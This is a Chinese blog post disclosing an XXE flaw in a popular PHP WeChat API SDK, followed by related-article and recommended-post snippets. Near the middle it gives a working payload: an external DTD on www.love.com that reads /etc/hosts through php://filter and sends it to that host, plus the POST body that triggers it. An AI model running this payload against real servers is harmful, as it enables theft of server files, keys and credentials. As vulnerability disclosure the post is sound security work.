  4317. $ciphertext_dec = base64_decode($encrypted);
  4318. $module = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
  4319. $iv = substr($this->key, 0, 16);
  4320. mcrypt_generic_init($module, $this->key, $iv);
  4321. //解密
  4322. $decrypted = mdecrypt_generic($module, $ciphertext_dec);
  4323. mcrypt_generic_deinit($module);
  4324. mcrypt_module_close($module);
  4325. } catch (Exception $e) {
  4326. return array(ErrorCode::$DecryptAESError, null);
  4327. }
  4328.  
  4329. try {
  4330. //去除补位字符
  4331. $pkc_encoder = new PKCS7Encoder;
  4332. $result = $pkc_encoder->decode($decrypted);
  4333. //去除16位随机字符串,网络字节序和AppId
  4334. if (strlen($result) < 16)
  4335. return "";
  4336. $content = substr($result, 16, strlen($result));
  4337. $len_list = unpack("N", substr($content, 0, 4));
  4338. $xml_len = $len_list[1];
  4339. $xml_content = substr($content, 4, $xml_len);
  4340. $from_appid = substr($content, $xml_len + 4);
  4341. if (!$appid)
  4342. $appid = $from_appid;
  4343. //如果传入的appid是空的,则认为是订阅号,使用数据中提取出来的appid
  4344. } catch (Exception $e) {
  4345. //print $e;
  4346. return array(ErrorCode::$IllegalBuffer, null);
  4347. }
  4348. if ($from_appid != $appid)
  4349. return array(ErrorCode::$ValidateAppidError, null);
  4350. //不注释上边两行,避免传入appid是错误的情况
  4351. return array(0, $xml_content, $from_appid); //增加appid,为了解决后面加密回复消息的时候没有appid的订阅号会无法回复
  4352.  
  4353. }
  4354.  
  4355. /**
  4356. * 随机生成16位字符串
  4357. * @return string 生成的字符串
  4358. */
  4359. function getRandomStr()
  4360. {
  4361.  
  4362. $str = "";
  4363. $str_pol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
  4364. $max = strlen($str_pol) - 1;
  4365. for ($i = 0; $i < 16; $i++) {
  4366. $str .= $str_pol[mt_rand(0, $max)];
  4367. }
  4368. return $str;
  4369. }
  4370.  
  4371. }
  4372.  
  4373. /**
  4374. * error code
  4375. * 仅用作类内部使用,不用于官方API接口的errCode码
  4376. */
  4377. class ErrorCode
  4378. {
  4379. public static $OK = 0;
  4380. public static $ValidateSignatureError = 40001;
  4381. public static $ParseXmlError = 40002;
  4382. public static $ComputeSignatureError = 40003;
  4383. public static $IllegalAesKey = 40004;
  4384. public static $ValidateAppidError = 40005;
  4385. public static $EncryptAESError = 40006;
  4386. public static $DecryptAESError = 40007;
  4387. public static $IllegalBuffer = 40008;
  4388. public static $EncodeBase64Error = 40009;
  4389. public static $DecodeBase64Error = 40010;
  4390. public static $GenReturnXmlError = 40011;
  4391. public static $errCode=array(
  4392. '0' => '处理成功',
  4393. '40001' => '校验签名失败',
  4394. '40002' => '解析xml失败',
  4395. '40003' => '计算签名失败',
  4396. '40004' => '不合法的AESKey',
  4397. '40005' => '校验AppID失败',
  4398. '40006' => 'AES加密失败',
  4399. '40007' => 'AES解密失败',
  4400. '40008' => '公众平台发送的xml不合法',
  4401. '40009' => 'Base64编码失败',
  4402. '40010' => 'Base64解码失败',
  4403. '40011' => '公众帐号生成回包xml失败'
  4404. );
  4405. public static function getErrText($err) {
  4406. if (isset(self::$errCode[$err])) {
  4407. return self::$errCode[$err];
  4408. }else {
  4409. return false;
  4410. };
  4411. }
  4412. }

举个例子一(以前更老的代码也有这段):

/**
* 获取微信服务器发来的信息
*/
public function getRev()
{
if ($this->_receive) return $this;
$postStr = file_get_contents("php://input");
$this->log($postStr);
if (!empty($postStr)) {
$this->_receive = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
}
return $this;
}

把post的数据直接进入了simplexml_load_string()

当调用了此文件里面的有漏洞的方法的时候就直接测试就OK

测试方法:

远程主机(www.love.com/evil.xml)Evil.xml:

  1. <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/hosts">
  2. <!ENTITY % int "<!ENTITY % send SYSTEM 'http://www.love.com/?file=%file;'>">
  3. %int;
  4. %send;

POST请求:

  1. POST
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE entity [
  4. <!ENTITY % call SYSTEM "http://www.love.com/evil.xml">
  5. %call;
  6. ]>

参考:

http://security.tencent.com/index.php/blog/msg/69

一个用得比较广的微信API的XXE外部实体注入漏洞的更多相关文章

  1. 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞

    官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...

  2. 微信支付的JAVA SDK存在漏洞,可导致商家服务器被入侵(绕过支付)XML外部实体注入防护

    XML外部实体注入 例: InputStream is = Test01.class.getClassLoader().getResourceAsStream("evil.xml" ...

  3. 微信支付的SDK曝出重大漏洞(XXE漏洞)

    一.背景 昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通过该漏洞,攻击者可以获取服务器中目录结构.文件内容,如代码.各种私钥等.获取这些信息以后,攻击者便可以为所欲为,其中 ...

  4. 【开源】这可能是封装微信 API 最全的 .NET SDK 了

    ## 缘起 今年公司某个项目需要全面接入微信支付 V3 版 API.起初觉得,2014 年微信支付就已上线了 V3 版 API,这都 2021 年了,就算官方不给力,怎么着社区也该有几个造好的 .NE ...

  5. 使用delphi+intraweb进行微信开发5—准备实现微信API,先从获取AccessToken开始

    在前4讲中我们已经使iw开发的应用成功和微信进行了对接,再接下来的章节中我们开始逐一尝试和实现微信的各个API,开始前先来点准备工作 首先需要明确的是,微信的API都是通过https调用实现的,分为p ...

  6. 总结的一些微信API接口

    本文给大家介绍的是个人总结的一些微信API接口,包括微信支付.微信红包.微信卡券.微信小店等,十分的全面,有需要的小伙伴可以参考下. 1. [代码]index.php <?php include ...

  7. C# 数字证书微信API调用使用参考事例

    X.509 v.3 证书的方法.一个比较完整的调用  微信  API的示例: private stringGetResponseResult()         { string strRespons ...

  8. 01: 企业微信API开发前准备

    目录:企业微信API其他篇 01: 企业微信API开发前准备 02:消息推送 03: 通讯录管理 04:应用管理 目录: 1.1 术语介绍 1.2 开发步骤 1.1 术语介绍返回顶部 参考文档:htt ...

  9. 微信程序开发系列教程(三)使用微信API给微信用户发文本消息

    这个系列的第二篇教程,介绍的实际是被动方式给微信用户发文本消息,即微信用户关注您的公众号时,微信平台将这个关注事件通过一个HTTP post发送到您的微信消息服务器上.您对这个post请求做了应答(格 ...

随机推荐

  1. CSS——(1)基础

    CSS(Cascading Style Sheets)层叠样式表 含义 一种计算机语言: 能够实现网页与内容分离: 用来表现文件样式,如HTML或XML: 比較 div与css 假设说div是容器的话 ...

  2. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件[转]

    上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfire插件.一步步很详细的介绍到简单插件开发,带Servlet的插件的开发.带JS ...

  3. Android 仿PhotoShop调色板应用(一)概述

    版权声明:本文为博主原创文章,未经博主允许不得转载. 在前面的系列我已经将Android中颜色渲染的原理及使用做了一个整体上概述. 现在开始根据一个比较复杂的实现进行具体的分析,这就是PhotoSho ...

  4. 判断IMEI或MEID是否合法

    /*----------------------------------------------- * 判断此字串所代表的IMEI或MEID是否合法 * @param imei * @author H ...

  5. collectionViewFlow的界面编写

    #import <UIKit/UIKit.h> //这边我们会创建一个scrollView的界面,这个scrollView里面有三张图片构成,我们使用下面的枚举方式来定义这三个位置 typ ...

  6. 亲测linux 上安装php

    亲测安装php1.tar zvxf php-5.3.8.tar.gz 2.cd php-5.3.83../configure \ --prefix=/usr/local/php \--with-mys ...

  7. Apple-Watch开发1

    Communicating between the iOS app and the Watch Extension There are four scenarios where an app and ...

  8. Java基础知识强化03:Java中的堆与栈

    1.在JVM中,内存分为两个部分,Stack(栈)和Heap(堆),这里,我们从JVM的内存管理原理的角度来认识Stack和Heap,并通过这些原理认清Java中静态方法和静态属性的问题. 一般,JV ...

  9. Java设计模式03:常用设计模式之单例模式(创建型模式)

    1.  Java之单例模式(Singleton Pattern ) 单例模式是一种常见的设计模式,单例模式分三种:懒汉式单例.饿汉式单例.登记式单例三种. 单例模式有一下特点: 1.单例类只能有一个实 ...

  10. 关于a标签的链接的表现形式

    target属性:self在自身标签页里打开 blank在新标签页中打开 1.  链接到其它地址位置.html文档等 <a href="1.html"></a&g ...